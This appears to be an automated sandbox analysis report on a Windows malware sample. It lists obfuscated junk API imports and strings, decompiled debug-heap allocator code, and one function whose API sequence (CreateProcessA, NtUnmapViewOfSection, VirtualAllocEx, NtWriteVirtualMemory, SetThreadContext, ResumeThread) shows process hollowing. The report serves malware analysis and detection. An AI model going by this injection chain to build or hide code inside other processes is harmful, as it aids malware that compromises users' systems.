0x0041a0db
0x0041a0de
0x0041a0de
0x0041a0ea
0x0041a0ec
0x0041a0f1
0x0041a0f1
0x0041a0fd
0x0041a10b
0x0041a112
0x0041a11b
0x0041a12d
0x0041a13d
0x0041a147
0x0041a14b
0x0041a153
0x0041a15d
0x0041a16d
0x0041a17f
0x0041a18f
0x0041a197
0x0041a19e
0x0041a1a8
0x0041a1ac
0x0041a1b5
0x0041a1c4
0x0041a1d2
0x0041a1e8
0x0041a1f6
0x0041a1fa
0x0041a1ff
0x0041a209
0x0041a211
0x0041a218
0x0041a220
0x0041a234
0x0041a23c
0x0041a244
0x0041a257
0x0041a25e
0x0041a26c
0x0041a28a
0x0041a293
0x0041a29d
0x0041a2a2
0x0041a2a2
0x0041a2a8
0x0041a2a9
0x0041a2b5
0x0041a2b8
0x0041a2be
0x0041a2c0
0x0041a2c1
0x0041a2c6
0x0041a2c7
0x0041a2c7
0x0041a2c0
0x0041a2cf
0x0041a2d1
0x0041a2d4
0x0041a2d6
0x0041a2d6
0x0041a2db
0x0041a2dc
0x0041a2e4
0x0041a2f0
0x0041a2ff
0x0041a307
0x0041a30e
0x0041a317
0x0041a323
0x0041a32b
0x0041a340
0x0041a34b
0x0041a352
0x0041a35d
0x0041a365
0x0041a374
0x0041a37a
0x0041a386
0x0041a38e
0x0041a396
0x0041a397
0x0041a398
0x0041a399
0x0041a3ae
0x0041a3be
0x0041a3d7
0x0041a3d9
0x0041a3e4
0x0041a3e4
0x0041a3f5
0x00419f19
0x00419f19
0x00419f1e
0x00000000

APIs

__vswprintf.LIBCMTD ref: 00419D95

Part of subcall function 0041B390: __vsprintf_l.LIBCMTD ref: 0041B3A3

_putc.LIBCMTD ref: 00419D9C

Part of subcall function 0041AFC0: __invalid_parameter.LIBCMTD ref: 0041B04D

__wrename.LIBCMTD ref: 00419DA3

Part of subcall function 0041AF70: MoveFileA.KERNEL32 ref: 0041AF7E
Part of subcall function 0041AF70: GetLastError.KERNEL32 ref: 0041AF88
Part of subcall function 0041AF70: __dosmaperr.LIBCMTD ref: 0041AFA4

_atexit.LIBCMTD ref: 00419DA9

Part of subcall function 0041AD00: __atof_l.LIBCMTD ref: 0041AD0B

_malloc.LIBCMTD ref: 00419DBB
_realloc.LIBCMTD ref: 00419DC2

Part of subcall function 0041AA50: __realloc_dbg.LIBCMTD ref: 0041AA64

_ferror.LIBCMTD ref: 00419DC8

Part of subcall function 0041A9D0: __invalid_parameter.LIBCMTD ref: 0041AA2A

Part of subcall function 0041A9B0: __wcstoi64.LIBCMTD ref: 0041A9BD

GetBinaryTypeA.KERNEL32(hijaduvinijebup,?), ref: 00419DEF
SetCurrentDirectoryA.KERNEL32(lakusoruhajunajiziheruxazoluyoloxujumazomeke), ref: 00419DFA
Process32NextW.KERNEL32(00000000,00000000), ref: 00419E02
InitializeCriticalSection.KERNEL32(00000000,00000000,00000000), ref: 00419E08
QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00419E18
TerminateJobObject.KERNEL32 ref: 00419E23
GlobalAddAtomW.KERNEL32 ref: 00419E2E
DeleteAtom.KERNEL32(00000000), ref: 00419E35
WriteProfileStringA.KERNEL32(tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv,wapejan,mocisacatenu), ref: 00419E4A
GetFullPathNameA.KERNEL32(Felerah cuhozazikesuzil,00000000,?,00000000), ref: 00419E5F
FindNextVolumeMountPointW.KERNEL32 ref: 00419E6F
GetCompressedFileSizeA.KERNEL32(wovag,?), ref: 00419E7F
GetNamedPipeInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00419E8A
lstrcpynA.KERNEL32(?,Losufic vahafoj sovoculoziyaja dewofic,00000000), ref: 00419E9E
GetProcessVersion.KERNEL32(00000000), ref: 00419EA5
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00419EAC
UnregisterWait.KERNEL32(00000000), ref: 00419EB3
GetProcessHandleCount.KERNEL32(00000000,00000000), ref: 00419EBB
CancelWaitableTimer.KERNEL32(00000000), ref: 00419EC2
SetFileApisToANSI.KERNEL32 ref: 00419EC8
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419ED2
FindClose.KERNEL32(00000000), ref: 00419ED9
SetEndOfFile.KERNEL32(00000000), ref: 00419EE0
GetCommMask.KERNEL32(00000000,00000000), ref: 00419EE8
LocalLock.KERNEL32(00000000), ref: 00419EEF
OpenMutexW.KERNEL32(00000000,00000000,Wuhesuvugocu regacavac), ref: 00419EFC
GetLastError.KERNEL32 ref: 00419F2D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00419F3F
WriteConsoleOutputCharacterA.KERNEL32(00000000,tifikekacejininomizewidixazodafetisutaxewuy,00000000,?,?), ref: 00419F95
GetModuleHandleW.KERNEL32(Xemov yoxociy pogi), ref: 00419FA0
GetNumberOfConsoleInputEvents.KERNEL32(00000000,00000000), ref: 00419FA8
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00419FAF
GetWriteWatch.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419FBB
GetConsoleAliasExesLengthW.KERNEL32 ref: 00419FC1
_lopen.KERNEL32(00000000,00000000), ref: 00419FC9
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00419FD9
SetCommState.KERNEL32(00000000,00000000), ref: 00419FE1
EnumDateFormatsA.KERNEL32(00000000,00000000,00000000), ref: 00419FEA
TransactNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000,?,?), ref: 0041A014
WriteConsoleInputW.KERNEL32(00000000,00000000,00000000,?), ref: 0041A022
GetConsoleAliasExesLengthA.KERNEL32 ref: 0041A028
GetAtomNameW.KERNEL32(00000000,?,00000000), ref: 0041A038
FreeConsole.KERNEL32 ref: 0041A03E
FlushConsoleInputBuffer.KERNEL32(00000000), ref: 0041A045
GetConsoleAliasA.KERNEL32(00000000,?,00000000,00000000), ref: 0041A056
SetConsoleCP.KERNEL32(00000000), ref: 0041A05D
VerSetConditionMask.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A067
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A072
SetSystemTime.KERNEL32(00000000), ref: 0041A079
SetThreadExecutionState.KERNEL32 ref: 0041A080
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 0041A090
lstrcpyA.KERNEL32(?,Hetitanutaf bebucoreko,00000000,?,00000000), ref: 0041A0A2
SetFileShortNameW.KERNEL32(00000000,00000000), ref: 0041A0AA
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041A0DE
CreateSemaphoreA.KERNEL32 ref: 0041A10B
GetLocalTime.KERNEL32(00000000), ref: 0041A112
EnumTimeFormatsW.KERNEL32(00000000,00000000,00000000), ref: 0041A11B
FindResourceExW.KERNEL32(00000000,helecebekuxesiwiwifomipuwudokatupibej,pahubahiwucijucemipapujivojadij,00000000), ref: 0041A12D
GetPrivateProfileSectionNamesW.KERNEL32 ref: 0041A13D
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A147
WaitNamedPipeA.KERNEL32 ref: 0041A14B
TransmitCommChar.KERNEL32(00000000,00000000), ref: 0041A153
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A15D
GetBinaryTypeW.KERNEL32(Dovi muyafohonifu zapojubocuwuh vuleh,?), ref: 0041A16D
PeekConsoleInputA.KERNEL32(00000000,?,00000000,?), ref: 0041A17F
BuildCommDCBA.KERNEL32 ref: 0041A18F
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 0041A197
GlobalLock.KERNEL32 ref: 0041A19E
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A1A8
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041A1AC
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 0041A1B5
GetThreadContext.KERNEL32(00000000,?), ref: 0041A1C4
ResetEvent.KERNEL32(?), ref: 0041A1D2
FindActCtxSectionStringA.KERNEL32(00000000,00000000,00000000,Cat tafugozeyab jumulizodunef sazu buxonisiz,?), ref: 0041A1E8
_memset.LIBCMT ref: 0041A1FA
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 0041A209
lstrcmpW.KERNEL32(00000000,00000000), ref: 0041A211
HeapUnlock.KERNEL32(00000000), ref: 0041A218
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041A220
GetVolumePathNameA.KERNEL32 ref: 0041A234
MoveFileW.KERNEL32(00000000,00000000), ref: 0041A23C
Process32NextW.KERNEL32(00000000,00000000), ref: 0041A244
GetFileAttributesExA.KERNEL32(gukafipa,00000000,?), ref: 0041A257
GetDriveTypeA.KERNEL32(00000000), ref: 0041A25E
TryEnterCriticalSection.KERNEL32(?), ref: 0041A26C
GetPrivateProfileStructW.KERNEL32 ref: 0041A28A
WritePrivateProfileSectionA.KERNEL32(00000000,00000000,00000000), ref: 0041A293
GetPrivateProfileSectionW.KERNEL32 ref: 0041A29D
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0041A2A2
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041A2FF
EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 0041A307
FindVolumeMountPointClose.KERNEL32(00000000), ref: 0041A30E
DefineDosDeviceW.KERNEL32(00000000,00000000,00000000), ref: 0041A317
InterlockedExchange.KERNEL32(?,00000000), ref: 0041A323
SetMailslotInfo.KERNEL32(00000000,00000000), ref: 0041A32B
GetTapeParameters.KERNEL32 ref: 0041A340
CreateActCtxW.KERNEL32(?), ref: 0041A34B
FindCloseChangeNotification.KERNEL32(00000000), ref: 0041A352
GlobalFindAtomA.KERNEL32(Hiwejanoji), ref: 0041A35D
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041A365
GetSystemWindowsDirectoryW.KERNEL32 ref: 0041A374
GetVersion.KERNEL32 ref: 0041A37A
SetConsoleMode.KERNEL32(?,00000000), ref: 0041A386
WriteFile.KERNEL32(00000000,?,00000000,?,?), ref: 0041A3AE
lstrcmpA.KERNEL32(Vaguxabufereg godid vefas nehesuh,Pusazide), ref: 0041A3BE
GetPrivateProfileSectionW.KERNEL32 ref: 0041A3D7
DebugBreak.KERNEL32 ref: 0041A3D9
DeleteVolumeMountPointA.KERNEL32 ref: 0041A3E4

Strings

bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi, xrefs: 0041A3D2
pahubahiwucijucemipapujivojadij, xrefs: 0041A122
Wuhesuvugocu regacavac, xrefs: 00419EF5
tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv, xrefs: 00419E45
Vozecitak mov, xrefs: 00419E29
Varihokegal vecu sahavujuv nemociyanuha lotom, xrefs: 0041A18A
wapejan, xrefs: 00419E40
0.0, xrefs: 00419DAE
cbH, xrefs: 0041A0B1
lakusoruhajunajiziheruxazoluyoloxujumazomeke, xrefs: 00419DF5
tifikekacejininomizewidixazodafetisutaxewuy, xrefs: 00419F8F
mocisacatenu, xrefs: 00419E3B
Hetitanutaf bebucoreko, xrefs: 0041A095
helecebekuxesiwiwifomipuwudokatupibej, xrefs: 0041A127
wovag, xrefs: 00419E7A
tivomifuzasesufaholivikasekalene, xrefs: 0041A103
Dovi muyafohonifu zapojubocuwuh vuleh, xrefs: 0041A168
hijaduvinijebup, xrefs: 00419DEA
mawecamaxe, xrefs: 0041A280
Xemov yoxociy pogi, xrefs: 00419F9B
Vaguxabufereg godid vefas nehesuh, xrefs: 0041A3B9
rixawibonagomukirak, xrefs: 0041A272
gukafipa, xrefs: 0041A252
Losufic vahafoj sovoculoziyaja dewofic, xrefs: 00419E91
diponusohivasohopo, xrefs: 0041A285
Hiwejanoji, xrefs: 0041A358
Piruvora, xrefs: 0041A22F
Felerah cuhozazikesuzil, xrefs: 00419E5A
Cat tafugozeyab jumulizodunef sazu buxonisiz, xrefs: 0041A1E0
hukujid, xrefs: 0041A3DF
Pusazide, xrefs: 0041A3B4
suxehecumugilodagaduvixevexirificiseracipefi, xrefs: 0041A3C4

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: Console$File$FindSectionWrite$ProfileTime$CommNamePrivate$AtomCreateFreeInputVolume$AliasCloseGlobalLengthLocalLockMountMoveNamedNextPipePointProcessSystemTypeWait$BinaryCriticalDeleteDeviceDirectoryEnumEnvironmentErrorExesFormatsHandleHeapInfoLastMaskModeOverlappedPathProcess32ResourceResultSemaphoreStateStringStringsTerminateThreadUnregisterVersion__invalid_parameterlstrcmp$AddressAdjustmentAliasesApisAttributesBreakBufferBuildCancelChangeCharCharacterCompletionCompressedConditionConfigContextCountCurrentDateDebugDefaultDefineDriveEnterEventEventsExchangeExecutionFlushFullInitializeInterlockedLanguageMailslotModuleMutexNamesNotificationNumberObjectOpenOutputParametersPeekPortProcQueryResetShortSizeStructTapeTimerTransactTransmitUnlockUpdateWaitableWatchWindows__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_lopen_malloc_memset_putc_realloclstrcpylstrcpyn
String ID: 0.0$Cat tafugozeyab jumulizodunef sazu buxonisiz$Dovi muyafohonifu zapojubocuwuh vuleh$Felerah cuhozazikesuzil$Hetitanutaf bebucoreko$Hiwejanoji$Losufic vahafoj sovoculoziyaja dewofic$Piruvora$Pusazide$Vaguxabufereg godid vefas nehesuh$Varihokegal vecu sahavujuv nemociyanuha lotom$Vozecitak mov$Wuhesuvugocu regacavac$Xemov yoxociy pogi$bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi$cbH$diponusohivasohopo$gukafipa$helecebekuxesiwiwifomipuwudokatupibej$hijaduvinijebup$hukujid$lakusoruhajunajiziheruxazoluyoloxujumazomeke$mawecamaxe$mocisacatenu$pahubahiwucijucemipapujivojadij$rixawibonagomukirak$suxehecumugilodagaduvixevexirificiseracipefi$tifikekacejininomizewidixazodafetisutaxewuy$tivomifuzasesufaholivikasekalene$tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv$wapejan$wovag
API String ID: 522183021-367846507
Opcode ID: 718b702f02925ba52c964574c40754f5b409aff71ad7eb742f52a68ed35a38c3
Instruction ID: 3bac6e04dc3bcab877d336b85419e4eacd75e9f824d9b0aca0056aaa49a7125e
Opcode Fuzzy Hash: 718b702f02925ba52c964574c40754f5b409aff71ad7eb742f52a68ed35a38c3
Instruction Fuzzy Hash: 7AF1FD76406664BBD315ABA1AE4CDDF3F6CEF4A351B000426F246E5070D7385646CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 00570110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00570156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0057016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00570255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00570270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00570283
GetThreadContext.KERNELBASE(00000000,?), ref: 0057029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005702C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005702E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00570304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0057032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00570399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005703BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005703E1
ResumeThread.KERNELBASE(00000000), ref: 005703ED
ExitProcess.KERNEL32(00000000), ref: 00570412

Memory Dump Source

Source File: 00000015.00000002.390319099.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_570000_8939.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 75194dc1ddf31dfd42f7d086fa99d3ba0f79df4612f653aec3d5d99c565ffe0e
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: FFB1B674A00208EFDB44CF98C895F9EBBB5BF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00570630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 005706E2

Strings

RegisterClassExA, xrefs: 005711B7, 005711BD
GetModuleFileNameA, xrefs: 00570EFB, 00570EFE
DefWindowProcA, xrefs: 00571374, 0057137A
VirtualAlloc, xrefs: 00570AC1, 00570AC7
GetMessageExtraInfo, xrefs: 00570794, 0057079A
user32, xrefs: 005706DB, 005706E1
MessageBoxA, xrefs: 005706EE, 005706F4
WriteFile, xrefs: 005708CD, 005708D0
WaitForSingleObject, xrefs: 00570E95, 00570E9B
VirtualProtectEx, xrefs: 005714E9, 005714EF
kernel32, xrefs: 005707ED, 005707F3
WriteProcessMemory, xrefs: 00570CE9, 00570CEF
NtUnmapViewOfSection, xrefs: 00571085, 0057108B
CloseHandle, xrefs: 00570938, 0057093E
CreateProcessA, xrefs: 005709BB, 005709C1
VirtualAllocEx, xrefs: 00570B44, 00570B4A
CreateFileA, xrefs: 0057088B, 00570891
GetStartupInfoA, xrefs: 0057145B, 00571461
ExitProcess, xrefs: 00571554, 0057155A
NtWriteVirtualMemory, xrefs: 0057112C, 00571132
GetFileAttributesA, xrefs: 005713D7, 005713DA
ntdll.dll, xrefs: 00570FE2, 00570FE8
ReadProcessMemory, xrefs: 00570C4A, 00570C50
WinExec, xrefs: 00570820, 00570823
GetMessageA, xrefs: 005712F7, 005712FA
GetCommandLineA, xrefs: 00570F82, 00570F88
SetThreadContext, xrefs: 00570D7A, 00570D80
VirtualFree, xrefs: 00570BB2, 00570BB8
PostMessageA, xrefs: 005712B0, 005712B6
ResumeThread, xrefs: 00570DEF, 00570DF5
CreateWindowExA, xrefs: 0057123E, 00571244
GetThreadContext, xrefs: 00570A4C, 00570A52

Memory Dump Source

Source File: 00000015.00000002.390319099.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_570000_8939.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: cc654b83f7d4d20a563c011fd225cf11ee9c771605afc2aa96c638a896fd4116
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: AAA25460D0C6E9CDEB21C668CC4C7DDBEB51B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8A7, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0041B8A7() {
				signed int _t79;
				signed int _t80;
				intOrPtr _t81;
				signed int _t97;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t109;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				void* _t116;
				signed int _t122;
				signed int _t123;
				intOrPtr _t126;
				signed int _t127;
				signed int _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t169;
				signed int _t170;
				void* _t171;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t188;
				void* _t192;

				_t178 = _t177 + 4;
				 *(_t175 - 4) = 0;
				if( *0x55ac24 > 0) {
					_t112 =  *0x55ac24; // 0x0
					_t188 =  *0x55ac0c - _t112 - 1; // 0x0
					if(_t188 != 0) {
						_t169 =  *0x55ac0c; // 0x0
						_t170 = _t169 + 1;
						__eflags = _t170;
						 *0x55ac0c = _t170;
					} else {
						if(E0041CB80() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x179);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t115 = L0041E220();
							_t178 = _t178 + 0x14;
							if(_t115 == 1) {
								asm("int3");
							}
						}
						 *0x55ac0c = 0;
					}
				}
				_t79 =  *0x44020c; // 0x34
				 *(_t175 - 0x28) = _t79;
				if( *0x440210 != 0xffffffff) {
					_t192 =  *(_t175 - 0x28) -  *0x440210; // 0xffffffff
					if(_t192 == 0) {
						asm("int3");
					}
				}
				if( *0x44105c == 0) {
					L19:
					__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
						_t105 =  *0x440204; // 0x1
						__eflags = _t105 & 0x00000001;
						if((_t105 & 0x00000001) == 0) {
							 *(_t175 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t175 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t175 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t175 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t175 + 0xc) - 1;
							if( *(_t175 + 0xc) != 1) {
								__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t175 + 0xc) - 3;
									if( *(_t175 + 0xc) != 3) {
										_t102 = L00429420(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t178 = _t178 + 0x18;
										__eflags = _t102 - 1;
										if(_t102 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t175 - 0x2c)) =  *((intOrPtr*)(_t175 + 8)) + 0x24;
						_t80 = E00429360(_t116, _t171, _t173,  *((intOrPtr*)(_t175 - 0x2c))); // executed
						 *(_t175 - 0x24) = _t80;
						__eflags =  *(_t175 - 0x24);
						if( *(_t175 - 0x24) != 0) {
							_t122 =  *0x44020c; // 0x34
							_t123 = _t122 + 1;
							 *0x44020c = _t123;
							__eflags =  *(_t175 - 0x1c);
							if( *(_t175 - 0x1c) == 0) {
								__eflags = (_t123 | 0xffffffff) -  *0x55ac04 -  *((intOrPtr*)(_t175 + 8));
								if((_t123 | 0xffffffff) -  *0x55ac04 <=  *((intOrPtr*)(_t175 + 8))) {
									 *0x55ac04 = 0xffffffff;
								} else {
									_t159 =  *0x55ac04; // 0x387c
									 *0x55ac04 = _t159 +  *((intOrPtr*)(_t175 + 8));
								}
								_t81 =  *0x55ac1c; // 0x1fe4
								 *0x55ac1c = _t81 +  *((intOrPtr*)(_t175 + 8));
								_t126 =  *0x55ac1c; // 0x1fe4
								__eflags = _t126 -  *0x55ac10; // 0x23b4
								if(__eflags > 0) {
									_t158 =  *0x55ac1c; // 0x1fe4
									 *0x55ac10 = _t158;
								}
								__eflags =  *0x55ac14;
								if( *0x55ac14 == 0) {
									 *0x55ac08 =  *(_t175 - 0x24);
								} else {
									_t97 =  *0x55ac14; // 0x761318
									 *(_t97 + 4) =  *(_t175 - 0x24);
								}
								_t127 =  *0x55ac14; // 0x761318
								 *( *(_t175 - 0x24)) = _t127;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) =  *(_t175 + 0x10);
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) =  *((intOrPtr*)(_t175 + 0x14));
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) =  *(_t175 + 0xc);
								 *( *(_t175 - 0x24) + 0x18) =  *(_t175 - 0x28);
								 *0x55ac14 =  *(_t175 - 0x24);
							} else {
								 *( *(_t175 - 0x24)) = 0;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) = 3;
								 *( *(_t175 - 0x24) + 0x18) = 0;
							}
							E0041B3B0(_t171,  *(_t175 - 0x24) + 0x1c,  *0x440214 & 0x000000ff, 4);
							E0041B3B0(_t171,  *(_t175 - 0x24) +  *((intOrPtr*)(_t175 + 8)) + 0x20,  *0x440214 & 0x000000ff, 4);
							E0041B3B0(_t171,  *(_t175 - 0x24) + 0x20,  *0x440217 & 0x000000ff,  *((intOrPtr*)(_t175 + 8)));
							_t157 =  *(_t175 - 0x24) + 0x20;
							__eflags = _t157;
							 *(_t175 - 0x20) = _t157;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
						}
					} else {
						_t103 = L00429420(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t175 + 8)));
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
					}
					L46:
					 *(_t175 - 4) = 0xfffffffe;
					E0041BBF0();
					 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0x10));
					return  *(_t175 - 0x20);
				}
				_t109 =  *0x44105c(1, 0,  *((intOrPtr*)(_t175 + 8)),  *(_t175 + 0xc),  *(_t175 - 0x28),  *(_t175 + 0x10),  *((intOrPtr*)(_t175 + 0x14)));
				_t178 = _t178 + 0x1c;
				if(_t109 != 0) {
					goto L19;
				}
				if( *(_t175 + 0x10) == 0) {
					_t110 = L00429420(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t110 - 1;
					if(_t110 == 1) {
						asm("int3");
					}
					L18:
					goto L46;
				}
				_push( *((intOrPtr*)(_t175 + 0x14)));
				if(L00429420(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t175 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x0041b8a7
0x0041b8aa
0x0041b8b8
0x0041b8ba
0x0041b8c2
0x0041b8c8
0x0041b900
0x0041b906
0x0041b906
0x0041b909
0x0041b8ca
0x0041b8d1
0x0041b8d3
0x0041b8d8
0x0041b8da
0x0041b8df
0x0041b8e4
0x0041b8e6
0x0041b8eb
0x0041b8f1
0x0041b8f3
0x0041b8f3
0x0041b8f1
0x0041b8f4
0x0041b8f4
0x0041b8c8
0x0041b90f
0x0041b914
0x0041b91e
0x0041b923
0x0041b929
0x0041b92b
0x0041b92b
0x0041b929
0x0041b933
0x0041b9aa
0x0041b9b3
0x0041b9b6
0x0041b9b8
0x0041b9bd
0x0041b9c0
0x0041b9c2
0x0041b9c2
0x0041b9c0
0x0041b9c9
0x0041b9cd
0x0041ba05
0x0041ba08
0x0041ba0a
0x0041ba0e
0x0041ba19
0x0041ba1c
0x0041ba1e
0x0041ba22
0x0041ba36
0x0041ba3b
0x0041ba3e
0x0041ba41
0x0041ba43
0x0041ba43
0x0041ba41
0x0041ba22
0x0041ba1c
0x0041ba0e
0x0041ba4a
0x0041ba51
0x0041ba59
0x0041ba5c
0x0041ba60
0x0041ba70
0x0041ba76
0x0041ba79
0x0041ba7f
0x0041ba83
0x0041bad7
0x0041bada
0x0041baed
0x0041badc
0x0041badc
0x0041bae5
0x0041bae5
0x0041baf7
0x0041baff
0x0041bb04
0x0041bb0a
0x0041bb10
0x0041bb12
0x0041bb18
0x0041bb18
0x0041bb1e
0x0041bb25
0x0041bb37
0x0041bb27
0x0041bb27
0x0041bb2f
0x0041bb2f
0x0041bb40
0x0041bb46
0x0041bb4b
0x0041bb58
0x0041bb61
0x0041bb6a
0x0041bb73
0x0041bb7c
0x0041bb82
0x0041ba85
0x0041ba88
0x0041ba91
0x0041ba9b
0x0041baa5
0x0041bab2
0x0041bab8
0x0041bac2
0x0041bac2
0x0041bb99
0x0041bbb6
0x0041bbd1
0x0041bbdc
0x0041bbdc
0x0041bbdf
0x0041ba62
0x0041ba65
0x0041ba65
0x0041b9cf
0x0041b9e0
0x0041b9e8
0x0041b9eb
0x0041b9ed
0x0041b9ed
0x0041b9f1
0x0041b9f1
0x0041bbe2
0x0041bbe2
0x0041bbe9
